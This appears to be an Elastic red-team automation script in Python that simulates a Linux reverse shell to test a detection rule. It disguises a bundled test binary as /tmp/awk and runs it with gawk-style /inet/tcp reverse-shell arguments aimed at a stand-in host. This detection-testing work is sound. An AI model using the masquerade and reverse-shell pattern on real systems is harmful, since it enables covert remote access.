40 lines
1.3 KiB
Python
40 lines
1.3 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
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# or more contributor license agreements. Licensed under the Elastic License
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# 2.0; you may not use this file except in compliance with the Elastic License
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# 2.0.
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import sys
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from . import RtaMetadata, common
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metadata = RtaMetadata(
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uuid="d768af98-4e0b-451a-bc29-04b0be110ee5",
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platforms=["linux"],
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endpoint=[
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{"rule_name": "Linux Reverse Shell via Suspicious Utility", "rule_id": "c71b9783-ca42-4532-8eb3-e8f2fe32ff39"},
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],
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siem=[],
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techniques=["T1059", "T1071"],
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)
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@common.requires_os(metadata.platforms)
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def main() -> None:
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common.log("Creating a fake awk executable..")
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masquerade = "/tmp/awk"
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source = common.get_path("bin", "netcon_exec_chain.elf")
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common.copy_file(source, masquerade)
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common.log("Granting execute permissions...")
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common.execute(["chmod", "+x", masquerade])
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commands = [masquerade, "chain", "-h", "8.8.8.8", "-p", "1234", "-c", "/inet/tcp/1234"]
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common.log("Simulating reverse shell activity..")
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common.execute([*commands], timeout=5, kill=True)
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common.log("Reverse shell simulation successful!")
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common.log("Cleaning...")
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common.remove_file(masquerade)
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common.log("Simulation successfull!")
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if __name__ == "__main__":
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sys.exit(main())
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